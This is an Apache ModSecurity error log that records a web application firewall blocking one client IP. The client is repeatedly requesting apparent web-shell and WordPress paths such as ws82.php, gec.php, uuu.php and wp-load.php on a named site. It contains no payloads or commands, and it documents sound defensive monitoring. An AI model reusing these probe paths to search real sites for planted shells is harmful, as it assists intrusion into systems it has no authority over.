[Wed Apr 01 02:50:16.229658 2026] [:error] [pid 52592:tid 52660] [client 68.221.68.130:22732] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXaD-61iqkPKUhqlb9qQAAAA0"]
[Wed Apr 01 02:50:16.594509 2026] [:error] [pid 52592:tid 52662] [client 68.221.68.130:22968] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXaD-61iqkPKUhqlb9rAAAAA8"]
[Wed Apr 01 02:50:16.716483 2026] [:error] [pid 19113:tid 19136] [client 68.221.68.130:22911] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXaPXQdXnDyA4XYbYFOgAAARU"]
[Wed Apr 01 02:50:17.074012 2026] [:error] [pid 19113:tid 19139] [client 68.221.68.130:22828] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXafXQdXnDyA4XYbYFPAAAARg"]
[Wed Apr 01 02:50:17.197277 2026] [:error] [pid 52836:tid 52895] [client 68.221.68.130:22812] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXaZjk_YTY8bXnEz5wLQAAAEM"]
[Wed Apr 01 02:50:17.572416 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:22763] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXafXQdXnDyA4XYbYFPwAAAQo"]
[Wed Apr 01 02:50:17.679325 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:22845] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXaUe53suVMS91e0RIHQAAAM8"]
[Wed Apr 01 02:50:18.061889 2026] [:error] [pid 19113:tid 19117] [client 68.221.68.130:22798] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXavXQdXnDyA4XYbYFQgAAAQI"]
[Wed Apr 01 02:50:18.159078 2026] [:error] [pid 19113:tid 19138] [client 68.221.68.130:22790] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXavXQdXnDyA4XYbYFQwAAARc"]
[Wed Apr 01 02:50:18.540534 2026] [:error] [pid 19113:tid 19122] [client 68.221.68.130:22795] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXavXQdXnDyA4XYbYFRgAAAQc"]
[Wed Apr 01 02:50:18.643648 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22755] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXaj-61iqkPKUhqlb9tQAAAAE"]
[Wed Apr 01 02:50:19.027173 2026] [:error] [pid 19113:tid 19139] [client 68.221.68.130:22721] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXa_XQdXnDyA4XYbYFSgAAARg"]
[Wed Apr 01 02:50:19.122565 2026] [:error] [pid 52592:tid 52670] [client 68.221.68.130:22821] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXaz-61iqkPKUhqlb9tgAAABc"]
[Wed Apr 01 02:50:19.515875 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:22723] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXa_XQdXnDyA4XYbYFSwAAAQo"]
[Wed Apr 01 02:50:19.607473 2026] [:error] [pid 19113:tid 19129] [client 68.221.68.130:22727] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws43.php"] [unique_id "acwXa_XQdXnDyA4XYbYFTAAAAQ4"]
[Wed Apr 01 02:50:20.000602 2026] [:error] [pid 52592:tid 52665] [client 68.221.68.130:22731] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXaz-61iqkPKUhqlb9uAAAABI"]
[Wed Apr 01 02:50:20.096949 2026] [:error] [pid 52592:tid 52654] [client 68.221.68.130:22755] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbD-61iqkPKUhqlb9uQAAAAc"]
[Wed Apr 01 02:50:20.480346 2026] [:error] [pid 19113:tid 19118] [client 68.221.68.130:22674] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbPXQdXnDyA4XYbYFTwAAAQM"]
[Wed Apr 01 02:50:20.576754 2026] [:error] [pid 52593:tid 52697] [client 68.221.68.130:22819] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbOKOtxqtcDhRtD-icQAAAJc"]
[Wed Apr 01 02:50:20.968060 2026] [:error] [pid 52836:tid 52899] [client 68.221.68.130:22966] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbJjk_YTY8bXnEz5wNQAAAEc"]
[Wed Apr 01 02:50:21.058614 2026] [:error] [pid 52593:tid 52691] [client 68.221.68.130:22832] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbeKOtxqtcDhRtD-icgAAAJE"]
[Wed Apr 01 02:50:21.452119 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:22825] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbfXQdXnDyA4XYbYFUQAAAQw"]
[Wed Apr 01 02:50:21.537941 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22822] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "acwXbfXQdXnDyA4XYbYFUwAAARQ"]
[Wed Apr 01 02:50:21.935073 2026] [:error] [pid 19113:tid 19139] [client 68.221.68.130:22766] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXbfXQdXnDyA4XYbYFVQAAARg"]
[Wed Apr 01 02:50:22.018650 2026] [:error] [pid 52592:tid 52670] [client 68.221.68.130:22834] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXbj-61iqkPKUhqlb9vgAAABc"]
[Wed Apr 01 02:50:22.434515 2026] [:error] [pid 52593:tid 52685] [client 68.221.68.130:22827] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXbuKOtxqtcDhRtD-ieAAAAIs"]
[Wed Apr 01 02:50:22.500308 2026] [:error] [pid 52593:tid 52694] [client 68.221.68.130:22801] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXbuKOtxqtcDhRtD-ieQAAAJQ"]
[Wed Apr 01 02:50:22.914073 2026] [:error] [pid 52593:tid 52675] [client 68.221.68.130:22800] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXbuKOtxqtcDhRtD-ifAAAAIE"]
[Wed Apr 01 02:50:22.981854 2026] [:error] [pid 19113:tid 19129] [client 68.221.68.130:22765] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXbvXQdXnDyA4XYbYFWgAAAQ4"]
[Wed Apr 01 02:50:23.394492 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:22813] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXb0e53suVMS91e0RIIQAAAMI"]
[Wed Apr 01 02:50:23.473527 2026] [:error] [pid 52593:tid 52678] [client 68.221.68.130:22734] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acwXb-KOtxqtcDhRtD-igQAAAIQ"]
[Wed Apr 01 02:50:23.872528 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:22757] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXb-KOtxqtcDhRtD-igwAAAJA"]
[Wed Apr 01 02:50:23.954751 2026] [:error] [pid 52836:tid 52899] [client 68.221.68.130:22607] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXb5jk_YTY8bXnEz5wPQAAAEc"]
[Wed Apr 01 02:50:24.353078 2026] [:error] [pid 52836:tid 52914] [client 68.221.68.130:22772] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXcJjk_YTY8bXnEz5wQQAAAFY"]
[Wed Apr 01 02:50:24.434678 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:22842] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXcPXQdXnDyA4XYbYFYQAAAQw"]
[Wed Apr 01 02:50:24.833079 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22724] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXcPXQdXnDyA4XYbYFZAAAAQU"]
[Wed Apr 01 02:50:24.923978 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:22810] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXcPXQdXnDyA4XYbYFZwAAAQk"]
[Wed Apr 01 02:50:25.314340 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22758] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXcfXQdXnDyA4XYbYFagAAARA"]
[Wed Apr 01 02:50:25.406844 2026] [:error] [pid 19113:tid 19115] [client 68.221.68.130:22804] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acwXcfXQdXnDyA4XYbYFbAAAAQA"]
[Wed Apr 01 02:50:25.793513 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:22750] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXcUe53suVMS91e0RIJAAAAMQ"]
[Wed Apr 01 02:50:25.887450 2026] [:error] [pid 52594:tid 52704] [client 68.221.68.130:22883] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXcUe53suVMS91e0RIJQAAAMM"]
[Wed Apr 01 02:50:26.284826 2026] [:error] [pid 52594:tid 52711] [client 68.221.68.130:22792] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXcke53suVMS91e0RIKAAAAMo"]
[Wed Apr 01 02:50:26.365133 2026] [:error] [pid 52594:tid 52723] [client 68.221.68.130:22671] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXcke53suVMS91e0RIKgAAANY"]
[Wed Apr 01 02:50:26.765468 2026] [:error] [pid 52594:tid 52715] [client 68.221.68.130:22768] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXcke53suVMS91e0RIMAAAAM4"]
[Wed Apr 01 02:50:26.857431 2026] [:error] [pid 52593:tid 52676] [client 68.221.68.130:22753] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXcuKOtxqtcDhRtD-ihgAAAII"]
[Wed Apr 01 02:50:27.249294 2026] [:error] [pid 52594:tid 52713] [client 68.221.68.130:22831] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXc0e53suVMS91e0RIMQAAAMw"]
[Wed Apr 01 02:50:27.337695 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22775] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "acwXc_XQdXnDyA4XYbYFdAAAARA"]
[Wed Apr 01 02:50:27.733668 2026] [:error] [pid 52836:tid 52904] [client 68.221.68.130:22843] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXc5jk_YTY8bXnEz5wSAAAAEw"]
[Wed Apr 01 02:50:27.817990 2026] [:error] [pid 19113:tid 19121] [client 68.221.68.130:22742] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXc_XQdXnDyA4XYbYFeAAAAQY"]
[Wed Apr 01 02:50:28.213078 2026] [:error] [pid 19113:tid 19119] [client 68.221.68.130:22846] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXdPXQdXnDyA4XYbYFegAAAQQ"]
[Wed Apr 01 02:50:28.297465 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:22777] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXdPXQdXnDyA4XYbYFfAAAARI"]
[Wed Apr 01 02:50:28.691346 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22740] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXdPXQdXnDyA4XYbYFfgAAARQ"]
[Wed Apr 01 02:50:28.774359 2026] [:error] [pid 52594:tid 52723] [client 68.221.68.130:22745] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXdEe53suVMS91e0RINQAAANY"]
[Wed Apr 01 02:50:29.171124 2026] [:error] [pid 52594:tid 52701] [client 68.221.68.130:22796] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXdUe53suVMS91e0RIOAAAAMA"]
[Wed Apr 01 02:50:29.254500 2026] [:error] [pid 52836:tid 52914] [client 68.221.68.130:22841] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acwXdZjk_YTY8bXnEz5wTQAAAFY"]
[Wed Apr 01 02:50:29.650496 2026] [:error] [pid 19113:tid 19126] [client 68.221.68.130:22620] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdfXQdXnDyA4XYbYFhAAAAQs"]
[Wed Apr 01 02:50:29.739622 2026] [:error] [pid 52593:tid 52696] [client 68.221.68.130:22762] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdeKOtxqtcDhRtD-iigAAAJY"]
